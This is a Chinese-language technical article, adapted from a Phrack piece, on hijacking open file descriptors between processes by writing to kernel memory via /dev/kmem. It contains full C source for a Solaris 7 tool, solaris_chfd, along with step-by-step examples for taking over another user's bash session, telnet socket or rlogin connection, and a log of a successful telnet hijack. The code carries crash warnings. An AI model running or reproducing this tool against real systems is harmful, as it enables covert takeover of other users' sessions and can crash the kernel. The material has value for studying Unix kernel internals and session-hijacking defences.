SPARC/Solaris 7下劫持文件句柄

   即将介绍技术思想来自Phrack Magazine 51-5,如果不放心俺的英文理解能力,大可翻出原作慢慢品位。这里没有忠实于原作进行翻译,因为年代久远,操作系统变化较大,需要重新做Kernel Hacking。FreeBSD和Linux的内核源码公开,不做重点讨论对象。原作没有提供Sun OS上的实现,本文提供了一个64-bit kernel mode示例。 文中观点,无论是orabidoo的,还是俺的,都属于技术讨论范畴,可能使用了非文档化、未公开的、非规范的编程、应用接口。这里提供的仅仅是思想,而不保证是正确、高效、唯一的技术实现。orabidoo和俺不对文中任何技术引起的任何灾难性后果负任何法律上的、道义上的责任。 Ok, Let’s go.————————————————————————–◆ 介绍 我们经常听说tty hijacking技术,root常常利用这种技术监视其他用户的终端显示。传统实现工具中,在系统5上采用STREAMS(流)机制,而Phrack 50-5介绍了在Linux系统中如何利用LLKM技术实现tty hijacking。译注:Solaris上的完整实现请访问ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/ttywatcher/简单来说,在终端流上压入自己的一个流模块,hook住下行流数据(终端输出信息)。通过一个伪设备驱动程序(流驱动)与用户空间的还原程序通信。此外可以参看newchess在NsFocus Magazine上发表的<<ttywatcher核心原理简介>>Phrack 50-5演示的技术,简单来说,hook住SYS_write系统调用,截取被监视终端上的输出信息,通过一个伪字符设备驱动程序和用户空间的还原程序通信。这个实现很容易移植到FreeBSD、OpenBSD系统上,,曾经成功移植到FreeBSD上,利用了FKLD技术。无论哪种实现,都足够精巧,值得研读。这里将要描述的技术远比上面提到的几种技术简单,root同样可以监视本地/远程会话。我在Linux和FreeBSD上实现了它,应该很容易移植到任意一种Unix系统上,只要这种Unix系统允许root在用户程序中读写访问内核空间(比如通过/dev/kmem)。想法很简单,通过处理内核中的文件描述符表,可以将文件描述符从一个进程强制性移动到另外一个进程。这种方式几乎允许你做任意想做的事情:将一个运行中命令的输出重定向到一个文件,劫持别人的telnet连接(天啊,多么可怕的想法)。◆ 内核如何跟踪已打开的文件描述符 在Unix系统中,进程通过所谓文件描述符访问系统资源,可以通过诸如open()、socket()、pipe()等系统调用获取文件描述符(显然网络套接字和管道也是广义上的文件描述符)。从进程的观点,文件描述符用于确定相关资源,仅仅是个不透明的句柄。文件描述符0、1、2分别代表标准输入、标准输出和标准错误输出。总是顺序分配新的文件描述符。 从内核的角度来看,每个进程对应一张文件描述符表,表中各个元素都是指针,指向对应每个文件描述符的结构。如果文件描述符未被打开,表中指针为NULL。否则指向的结构包含了文件描述符相关信息,比如这个fd是什么类型(文件、套接字、管道等等),还有一些指针指向这个fd相关的资源数据(文件的inode、套接字的地址和状态信息等等)。 通常进程表是个数组或者结构链表。从指定进程的P区很容易找出指向fd table的指针。Linux的2.2.x内核里,进程表是一个双向循环链表,参看如下代码,在内核空间中根据进程PID确定进程P区:————————————————————————–static struct task_struct * pfind ( pid_t pid ){ struct task_struct * proc = current; do {if ( proc->pid == pid ){return( proc );}proc = proc->next_task; } while ( proc != current ); return( NULL );} /* end of pfind */————————————————————————–可能在某些内核中,进程表不再是双向循环链表,请自行Kernel Hacking。/usr/include/linux/sched.h文件中定义了(来自2.2.12内核)————————————————————————–struct task_struct{ … … /** open file information*/ struct files_struct * files; … …}/** Open file table structure*/struct files_struct{ atomic_tcount; intmax_fds; intmax_fdset; intnext_fd; struct file ** fd;/* current fd array */ fd_set *close_on_exec; fd_set *open_fds; fd_setclose_on_exec_init; fd_setopen_fds_init; struct file * fd_array[NR_OPEN_DEFAULT];};————————————————————————–task_struct结构中成员files指向files_struct结构,后者包含一个结构数组对应打开的文件描述符表。至少2.2.12内核版本使用了显式的指针数组来实现文件描述符表。注意与后续的FreeBSD、Solaris系统实现做比较。/usr/include/linux/fs.h文件中定义了(来自2.2.12内核)————————————————————————–struct file{ struct file*f_next, **f_pprev; struct dentry*f_dentry; struct file_operations *f_op; mode_tf_mode; loff_tf_pos; unsigned intf_count, f_flags; unsigned longf_reada, f_ramax, f_raend, f_ralen, f_rawin; struct fown_structf_owner; unsigned intf_uid, f_gid; intf_error; unsigned longf_version; /* needed for tty driver, and maybe others */ void*private_data;};————————————————————————–译注:原作讨论的是Sun OS 4,显然到得今日,应该讨论Solaris 2.x,下面以Solaris 7为蓝本讨论在/usr/include/sys/proc.h中定义了————————————————————————–/** One structure allocated per active process. It contains all* data needed about the process while the process may be swapped* out. Other per-process data (user.h) is also inside the proc structure.* Lightweight-process data (lwp.h) and the kernel stack may be swapped out.*/typedef struct proc{ … … /** The user structure*/ struct user p_user; /* (see sys/user.h) */ … …} proc_t;#define PROC_T /* headers relying on proc_t are OK *//* active process chain */extern proc_t * practive;/* Well known processes */extern proc_t *proc_sched;/* memory scheduler */extern proc_t *proc_init;/* init */extern proc_t *proc_pageout;/* pageout daemon */extern proc_t *proc_fsflush;/* filesystem sync-er */————————————————————————–在Solaris内核编程中,可以利用内核全局变量practive做活动进程遍历。在用户空间,虽然也可以利用这个指针,但利用kvm_*()更安全些。# nm -nx /dev/ksyms | grep -i "|practive$"[7942] |0x00001041f8f0|0x000000000008|OBJT |GLOB |0 |ABS |practive在/usr/include/sys/user.h中定义了(来自Solaris 7)————————————————————————–/** The user structure; one allocated per process. Contains all the* per-process data that doesn’t need to be referenced while the* process is swapped.*//** User file descriptors are allocate dynamically, in multiples* of NFPCHUNK.*/#define NFPCHUNK 24struct uf_entry{ struct file*uf_ofile; struct fpollinfo *uf_fpollinfo; shortuf_pofile; shortuf_refcnt;};typedef struct uf_entry uf_entry_t;typedef struct user{ … … kmutex_tu_flock; /* lock for u_nofiles and u_flist */ intu_nofiles; /* number of open file slots */ struct uf_entry * u_flist; /* open file list */ … …} user_t;#include <sys/proc.h>/* cannot include before userdefined */#ifdef _KERNEL#ifdef sun#define u(curproc->p_user)/* user is now part of procstructure */#endif /* sun */————————————————————————–注意上面的user_t成员定义,Solaris使用的实际上不是指针数组,而是结构数组,每个元素都是一个uf_entry_t结构,虽然user_t成员定义使用了struct uf_entry *类型。这个结构数组有效元素个数由u_nofiles成员确定(指最大有多少存放空间)。此外,不要受"open file list"这个注释的影响,这里不是结构链表。至于其他定义,比如curproc、u等等,在SLKM编程中非常有用,对我们这次的主题并无帮助。在/usr/include/sys/file.h中定义了(来自Solaris 7)————————————————————————–/** One file structure is allocated for each open/creat/pipe call.* Main use is to hold the read/write pointer associated with* each open file.*/typedef struct file{ kmutex_tf_tlock;/* short term lock */ ushort_tf_flag; ushort_tf_pad;/* Explicit pad to 4 byte boundary */ struct vnode *f_vnode;/* pointer to vnode structure */ offset_tf_offset;/* read/write character pointer */ struct cred*f_cred;/* credentials of user who opened it */ caddr_tf_audit_data; /* file audit data */ intf_count;/* reference count */} file_t;————————————————————————–Solaris 7中,P区形成一个链表,P区中有指针指向U区,U区中u_flist成员对应打开的文件描述符表。FreeBSD中,同样存在一条struct proc结构链表,/usr/src/sys/kern/kern_proc.c文件中定义了(来自FreeBSD 4.x)————————————————————————–struct proclist allproc;struct proclist zombproc;————————————————————————–allproc对应非僵尸进程链表、zombproc对应僵尸进程链表。orabidoo利用allproc完成FreeBSD下的活动进程遍历。/usr/src/sys/sys/proc.h中定义了struct proclist {}结构和struct proc {}结构:————————————————————————–struct proc{ … … struct filedesc * p_fd; /* Ptr to open files structure. */ … …};————————————————————————–/usr/src/sys/sys/filedesc.h中定义了struct filedesc {}结构:————————————————————————–struct filedesc{ struct file **fd_ofiles;/* file structures for open files */ char*fd_ofileflags; /* per-process open file flags */ struct vnode *fd_cdir;/* current directory */ struct vnode *fd_rdir;/* root directory */ struct vnode *fd_jdir;/* jail root directory */ intfd_nfiles;/* number of open files allocated */ u_shortfd_lastfile;/* high-water mark of fd_ofiles */ u_shortfd_freefile;/* approx. next free file */ u_shortfd_cmask;/* mask for file creation */ u_shortfd_refcnt;/* reference count */};————————————————————————–FreeBSD隐式实现了指针数组,每个元素类型是struct file *。fd_nfiles成员决定了有效元素个数(指最大有多少存放空间)。参照来自freebsd_rootkit.c的fget()实现加强理解:————————————————————————–static struct file * fget ( struct filedesc * fdp, int fd ){ struct file * fp; if ( ( fd >= fdp->fd_nfiles )||( ( fp = fdp->fd_ofiles[ fd] ) == NULL ) ) {return( NULL ); } return( fp );} /* end of fget */————————————————————————–如果你可以读写访问内核内存(绝大多数情况下通过读写/dev/kmem实现),谁也无法阻止你直接处理文件描述符表、从一个进程窃取打开的文件描述符而在另外一个进程中使用它(很奇妙,不是吗)。基于BSD 4.4的系统,比如FreeBSD、NetBSD、OpenBSD,如果它们运行的安全级别高于0,此时禁止写访问/dev/mem和/dev/kmem。然而许多BSD系统运行在安全级别-1上,这使得本文即将介绍的技术可用。许多时候,可以通过修改启动脚本迫使下次启动进入安全级别-1。在FreeBSD上可以可以通过命令"sysctl kern.securelevel"获取当前安全级别。Linux 也有安全级别(译注:现在没有了,即使有这个概念,也不再是一个简单的内核全局变量),但它不影响你访问/dev/kmem。◆ 劫持文件描述符的确不该在用户程序中通过/dev/kmem方式修改内核内部变量,就象即将演示的那样。首先,在一个多任务系统上,找到一个内核变量的地址并修改它的内容,由于整个过程不是原子操作,在确定地址和发生写操作之间,无法保证内核状态不发生变化。因此该技术不应用于那些追求可靠性的程序中。在实践中,还没有碰到失败的情形,内核分配了一块数据之后并未移动它们,至少对于每个进程前64个文件描述符是这样的,而且当你处理文件描述符表时也不大可能恰好发生进程关闭/打开文件描述符的操作。你仍然要尝试这种技术吗?简单起见,我们不打算在两个进程间冗余复制一个句柄,也不打算将一个句柄从一个进程单向转移到另一个进程。这里仅仅在两个进程之间做一次句柄对换,此时只需要打开文件,而不必修改"引用记数"。在内核中很容易定位两个指针并对换之。一个稍微复杂点的版本是在三个进程间循环替换句柄。当然,你必须猜测哪个句柄对应你所感兴趣的资源。为了完全控制运行中的shell,需要它的标准输入、标准输出和标准错误输出,应该劫持3个句柄,0、1、2。为了完全控制一个telnet会话,需要telnet连接对应的socket(套接字),通常它是3号句柄,考虑和另外一个运行中的telnet会话对换套接字。在Linux上,快速浏览一下/proc/[pid]/fd/目录,很容易得知相应进程正在使用哪些句柄(文件描述符)。◆ 编程实现(译者修正移植)作者orabidoo在Linux和FreeBSD上实现了这个技术构想,据称很容易移植到其他系统,只要这些操作系统支持写访问/dev/mem或者/dev/kmem,有类似/usr/include/sys/proc.h的头文件指明如何访问进程P区、U区。不想重复Linux上的实现,作者是在1.2.13附近的内核版本上实现的。至于FreeBSD,作者是在2.2.1附近的内核版本上实现的,现在内核变化比较大(4.x)。我的基本考虑是在SPARC/Solaris 7 64-bit kernel mode中实现这个技术构想,但不能肯定成功,上面的翻译和下面的技术笔记权当摸索。假设这个程序名为chfd,可以这样使用chfd pid1 fd1 pid2 fd2或者chfd pid1 fd1 pid2 fd2 pid3 fd3第一种情况下,简单对换了句柄。第二种情况下,pid2获得fd1、pid3获得fd2、pid1获得fd3。作为一个特例,如果某个pid为0,相应的fd被忽略,代以指向/dev/null的句柄。◆ 例 1一条耗时很长的命令(pid为207)正在运行,向tty输出信息。此时你键入"cat > somefile",找出这条cat命令的pid为1746。接着你做了chfd 207 1 1746 1该命令导致207号进程的输出转向到"somefile",而cat命令是针对原来启动耗时命令的tty。键入Ctrl-C,终止这个已经没有意义的cat命令。◆ 例 2某人在一个tty上启动了一个bash,进程号4022。你在另外一个tty上启动了另外一个bash,进程号4121。接着你做了sleep 10000# 在你自己的bash中,因此它暂停读取相应tty一会# 否则你的bash从/dev/null读取到EOF,将立即结束会话chfd 4022 0 0 0 4121 0chfd 4022 1 0 0 4121 1chfd 4022 2 0 0 4121 2你发现自己正在控制别人的bash,也同时获取相应的输出信息。此时启动4022的用户所做击键被送往/dev/null。当你退出别人的shell时,那个用户发现他的会话连接终断了,而你返回那个依旧沉睡中的(sleep 10000)自己的bash,可以安全使用Ctrl-C恢复正常状态。不同的shell程序可能使用不同的文件描述符,zsh似乎使用10号句柄读取tty,此时自己注意替换相应句柄。◆ 例 3某人正在一个tty上执行telnet,进程号6309。你启动telnet连接一些无关紧要的端口,要求不会太快终断连接,比如telnet localhost 7、telnet 80等等,假设进程号7081。如果在Linux下,快速浏览/proc/6309/fd/和/proc/7081/fd,发现telnet正在使用句柄0、1、2和3,因此3号句柄必然对应网络连接。接着做chfd 6309 3 7081 3 0 0你会发现自己的telnet会话使用了别人的网络连接,而另外那个人的网络连接被替换成/dev/null,结果他的telnet会话读取到EOF,最终报告"Connection closed byforeign host"。此时你可能需要键入Ctrl-]逃逸字符,输入"mode character",通知你自己的telnet停止本地行回显。◆ 例 4某人正在一个tty上运行rlogin,每个rlogin使用两个进程,进程号分别是4547和4548。你在另一个tty上启动rlogin localhost,进程号分别是4552和4555。快速查看相关/proc/[pid]/fd/目录,发现每个rlogin进程正在使用3号句柄做网络连接。接着做chfd 4547 3 4552 3chfd 4548 3 4555 3做你所期望的吧。你的rlogin依旧被内核阻塞着,因为它正在等待一个永远不会发生的事件(从localhost读取数据),考虑先kill -STOP,然后fg唤醒它。现在有点映象了吧。一个程序获取另一个程序的句柄,很重要的一点,应该知道这个句柄本来是做什么的。绝大多数情况下应该启动同样的程序实例,除非考虑涉及/dev/null的情况(用于提供一个EOF给读操作),或者仅仅是对标准输入、标准输出、标准错误输出做转向处理。◆ 结论如你所见,利用这种技术可以做很多奇妙的事情。你不大可能阻止root用户对你使用这种技术。可能会有所争论,这种技术甚至不是安全漏洞,前提是只有root才能这样干。否则开发内核的家伙不会提供对/dev/kmem伪文件系统接口的支持,不是吗?◆ SPARC/Solaris 7 64-bit kernel mode下的技术实现从/usr/include/sys/user.h头文件的内容可以得知,为了在用户空间使用原始U区数据结构而不是fake u_area,应该#define _KMEMUSER如果是内核空间编程,另外一个宏_KERNEL确保使用原始U区数据结构。SPARC/Solaris 7系统中实现文件描述符表用的是结构数组,并不象Linux/FreeBSD那样是指针数组(无论显式、隐式)。所以要对换的不是两个8字节长的指针,而是24字节长的uf_entry_t结构。我不知道Sun OS 4上是否使用了指针数组?/** File: solaris_chfd.c* Version : 0.01 aleph* Author : scz < mailto: scz@nsfocus.com >*: *: ( Don’t ask or complain anything about this program, please. )* Complie : /opt/SUNWspro/SC5.0/bin/cc -xarch=v9 -D_KMEMUSER -DDEBUG=1 \*: -O -o solaris_chfd solaris_chfd.c -lkvm*: /usr/ccs/bin/strip solaris_chfd* Usage : ./solaris_chfd <pid1> <fd1> <pid2> <fd2> [<pid3> <fd3>]* Platform : SPARC/Solaris 7 64-bit kernel mode* Date: 2001-05-14 23:36* ———————————————————————–** Thank orabidoo < mailto: odar@pobox.com >. As far as tt, the guy force* me to translate the wonderful article and write the dirty code, kick* him,:-(** The only thing they can’t take from us are our minds. !H** ———————————————————————–** solaris_chfd – exchange fd between 2 or 3 running processes** This code was written for SPARC/Solaris 7 and is *very* system-specific.* Needs read/write access to /dev/mem and /dev/kmem; only root can usually* do that. Note here, the solaris has no securelevel, !H** Note that this is inherently unsafe, since we’re messing with kernel* variables while the kernel itself might be changing them. It works* in practice, but no self-respecting program would want to do this.** Using it on your risk!*//**********************************************************************Head File**********************************************************************/#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/proc.h>#include <sys/user.h>#include <fcntl.h>#include <unistd.h>#include <kvm.h>#include <nlist.h>/**********************************************************************Macro**********************************************************************/#pragma ident "@(#)solaris_chfd.c 0.01 aleph 2001/05/14 NsFocus Copyright2001-2010"/**********************************************************************Function Prototype**********************************************************************/#if DEBUG == 1static void outputBinary ( const u_char * byteArray, const size_tbyteArrayLen );#endifstatic void get_fd_table ( kvm_t * kd, pid_t pid, int fd, void ** pAddress,struct uf_entry * pValue );static void set_fd_table ( int kmfd, void * address, struct uf_entry *pValue );static void verify( kvm_t * kd, void * address, struct uf_entry *pValue );/**********************************************************************Static Global Var**********************************************************************//*———————————————————————-*/#if DEBUG == 1static void outputBinary ( const u_char * byteArray, const size_tbyteArrayLen ){ size_t offset, k, j, i; fprintf( stderr, "byteArray [ %lu bytes ] —-> \n", byteArrayLen ); if ( byteArrayLen <= 0 ) {return; } i= 0; offset = 0; for ( k = byteArrayLen / 16; k > 0; k–, offset += 16 ) {fprintf( stderr, "%016X ", offset );for ( j = 0; j < 16; j++, i++ ){if ( j == 8 ){fprintf( stderr, "-%02X", byteArray[i] );}else{fprintf( stderr, " %02X", byteArray[i] );}}fprintf( stderr, " " );i -= 16;for ( j = 0; j < 16; j++, i++ ){/* if ( isprint( (int)byteArray[i] ) ) */if ( ( byteArray[i] >= ‘ ‘ ) && ( byteArray[i] <= 255 ) ){fprintf( stderr, "%c", byteArray[i] );}else{fprintf( stderr, "." );}}fprintf( stderr, "\n" ); } /* end of for */ k = byteArrayLen – i; if ( k <= 0 ) {return; } fprintf( stderr, "%016X ", offset ); for ( j = 0 ; j < k; j++, i++ ) {if ( j == 8 ){fprintf( stderr, "-%02X", byteArray[i] );}else{fprintf( stderr, " %02X", byteArray[i] );} } i -= k; for ( j = 16 – k; j > 0; j– ) {fprintf( stderr, " " ); } fprintf( stderr, " " ); for ( j = 0; j < k; j++, i++ ) {if ( ( byteArray[i] >= ‘ ‘ ) && ( byteArray[i] <= 255 ) ){fprintf( stderr, "%c", byteArray[i] );}else{fprintf( stderr, "." );} } fprintf( stderr, "\n" ); return;} /* end of outputBinary */#endifstatic void get_fd_table ( kvm_t * kd, pid_t pid, int fd, void ** pAddress,struct uf_entry * pValue ){ struct proc * cur_proc; struct user * cur_user; struct pid cur_p; pid_tcur_pid = -1; kvm_setproc( kd ); while ( ( cur_proc = kvm_nextproc( kd ) ) ) {if ( kvm_kread( kd, ( uintptr_t )cur_proc->p_pidp, &cur_p,izeof( cur_p ) ) < 0 ){perror( "kvm_kread proc user" );continue;}cur_pid = cur_p.pid_id;if ( cur_pid == pid ){if ( ( cur_user = kvm_getu( kd, cur_proc ) ) != NULL ){#if DEBUG == 1fprintf( stderr, "[ %d ] fd_table= %p\n", pid,cur_user->u_flist );fprintf( stderr, "[ %d ] fd_table_num = %d\n", pid,cur_user->u_nofiles );#endifif ( fd >= cur_user->u_nofiles ){fprintf( stderr, "error: [ %d ] %d >= %d\n", fd,cur_user->u_nofiles );exit( EXIT_FAILURE );}*pAddress = ( u_char * )cur_user->u_flist + sizeof( structuf_entry ) * fd;if ( kvm_kread( kd, ( uintptr_t )*pAddress, pValue,izeof( struct uf_entry ) ) < 0 ){perror( "kvm_kread" );exit( EXIT_FAILURE );}#if DEBUG == 1fprintf( stderr, "[ %d ] [ %d ] %p\n", pid, fd, *pAddress );outputBinary( ( const u_char * )pValue, sizeof( structuf_entry ) );#endif}return;} } /* end of while */ exit( EXIT_FAILURE );} /* end of get_fd_table */static void set_fd_table ( int kmfd, void * address, struct uf_entry *pValue ){ lseek( kmfd, ( off_t )address, SEEK_SET ); if ( write( kmfd, pValue, sizeof( struct uf_entry ) ) < 0 ) {perror( "write" );#if DEBUG == 1fprintf( stderr, "address = %p\n", address );outputBinary( ( const u_char * )pValue, sizeof( struct uf_entry ) );#endifexit( EXIT_FAILURE ); } return;} /* end of set_fd_table */static void verify ( kvm_t * kd, void * address, struct uf_entry * pValue ){ struct uf_entry now_value; bzero( &now_value, sizeof( now_value ) ); if ( kvm_kread( kd, ( uintptr_t )address, &now_value,sizeof( now_value ) ) < 0 ) {perror( "kvm_kread address now_value" );exit( EXIT_FAILURE ); } if ( bcmp( &now_value, pValue, sizeof( struct uf_entry ) ) != 0 ) {fprintf( stderr, "kernel changed.\n" );exit( EXIT_FAILURE ); } return;} /* end of verify */int main ( int argc, char * argv[] ){ pid_tpid1, pid2, pid3; intfd1, fd2, fd3; void*address1, *address2, *address3; struct uf_entry value1, value2, value3; intthree = 0; kvm_t*kd; intkmfd; if ( argc != 5 && argc != 7 ) {fprintf( stderr, " Usage: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n",argv[0] );exit( EXIT_FAILURE ); } pid1 = atoi( argv[1] ); fd1 = atoi( argv[2] ); pid2 = atoi( argv[3] ); fd2 = atoi( argv[4] ); if ( argc == 7 ) {three = 1;pid3 = atoi( argv[5] );fd3 = atoi( argv[6] ); } if ( pid1 == 0 ) {pid1 = getpid();fd1 = open( "/dev/null", O_RDWR );if ( fd1 == -1 ){perror( "open" );exit( EXIT_FAILURE );} } if ( pid2 == 0 ) {pid2 = getpid();fd2 = open( "/dev/null", O_RDWR );if ( fd2 == -1 ){perror( "open" );exit( EXIT_FAILURE );} } if ( three == 1 ) {if ( pid3 == 0 ){pid3 = getpid();fd3 = open( "/dev/null", O_RDWR );if ( fd3 == -1 ){perror( "open" );exit( EXIT_FAILURE );}} } if ( ( kd = kvm_open( NULL, NULL, NULL, O_RDONLY, NULL ) ) == NULL ) {perror( "kvm_open" );exit( EXIT_FAILURE ); } kmfd = open( "/dev/kmem", O_RDWR ); if ( kmfd < 0 ) {perror( "open /dev/kmem" );exit( EXIT_FAILURE ); } get_fd_table( kd, pid1, fd1, &address1, &value1 ); get_fd_table( kd, pid2, fd2, &address2, &value2 ); if ( three == 1 ) {get_fd_table( kd, pid3, fd3, &address3, &value3 );verify( kd, address1, &value1 );verify( kd, address2, &value2 );verify( kd, address3, &value3 );set_fd_table( kmfd, address2, &value1 );set_fd_table( kmfd, address3, &value2 );set_fd_table( kmfd, address1, &value3 ); } else {/* fprintf( stderr, "three == 0\n" ); */verify( kd, address1, &value1 );verify( kd, address2, &value2 );set_fd_table( kmfd, address2, &value1 );set_fd_table( kmfd, address1, &value2 ); } close( kmfd ); kvm_close( kd ); return( 0 );} /* end of main *//*———————————————————————-*/程序未经任何优化,编程风格极不严谨。之所以每次调用get_fd_table()遍历P区链表,完全是方便演示,加强理解,严谨的C程序不应该进行三次同样的遍历。参看kvm_setproc的手册页了解更多细节。set_fd_table()的实现本来使用了kvm_kwrite(),但不知道因为何种原因,无法写入。换做kvm_uwrite(),情况类似。迫不得已读写打开/dev/kmem,原以为只使用kvm_*()就可以了。看来kvm_kwrite()做了一定的保护性检查。verify()的检查实在是没有太大意义,可能更多是心理安慰,在内核中如果读写临界区,应该引入互斥锁、读写锁等机制。不要用cc或者gcc编译这个程序的32-bit版本,如测试,应该严格使用Workshop 5/6指定-xarch=v9编译开关,以获取64-bit代码。对于Linux系统,可以通过/proc/[pid]/fd/目录获取进程相关的文件句柄,对于Solaris系统,可以用/usr/proc/bin/pfiles(1)获取这种信息。参看以前NsFocusMagazine中的<<理解/proc文件系统>>和<</proc的威力—-利用proc工具解决系统问题>>。我当时从192.168.10.2上telnet 192.168.10.6,在另外一个伪终端上telnet 0 7,在第三个伪终端上用ps -ef | grep telnet找到这两个telnet进程的PID,用pfiles(1)命令确定进程相关文件句柄,比如:# pfiles 724724: telnet 192.168.10.6 Current rlimit: 64 file descriptors 0: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1O_RDWR|O_NDELAY 1: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1O_RDWR|O_NDELAY 2: S_IFCHR mode:0620 dev:136,0 ino:141176 uid:500 gid:7 rdev:24,1O_RDWR|O_NDELAY 3: S_IFSOCK mode:0666 dev:187,0 ino:25481 uid:0 gid:0 size:0O_RDWR|O_NDELAY上面显示的信息明确告诉我们3号句柄是socket。假设另外一个PID是728,执行:# ./solaris_chfd 724 3 728 3此时,第二个伪终端上的telnet会话已经对应到192.168.10.6的网络连接,可以正常执行Unix命令,表示劫持文件句柄成功。安全起见,可以再次执行:# ./solaris_chfd 724 3 728 3此时恢复到原始状态。1、2伪终端恢复正常,分别安全退出。但是!由于一些我尚不确认的原因,某些时候(即使恢复到原始状态)在第二个伪终端上(telnet 0 7)出现如下提示:sleep(5) from telnet, after select如果不理会这个伪终端,系统无事,第一个伪终端安全退出到bash下。如果理会这个伪终端,比如Ctrl-]后quit,系统崩溃。不知道直接杀掉进程是否也导致系统崩溃。无论如何,上述代码仅仅演示了这种技术构思,从我测试效果来看,远没有达到实用的程度,系统崩溃是不能忍受的。如果你要测试上述代码,后果自负!未曾长夜哭者,不足以语人生。kick kio.<完> 一个今天胜过两个明天

SPARC/Solaris 7下劫持文件句柄

相关文章:

你感兴趣的文章:

标签云: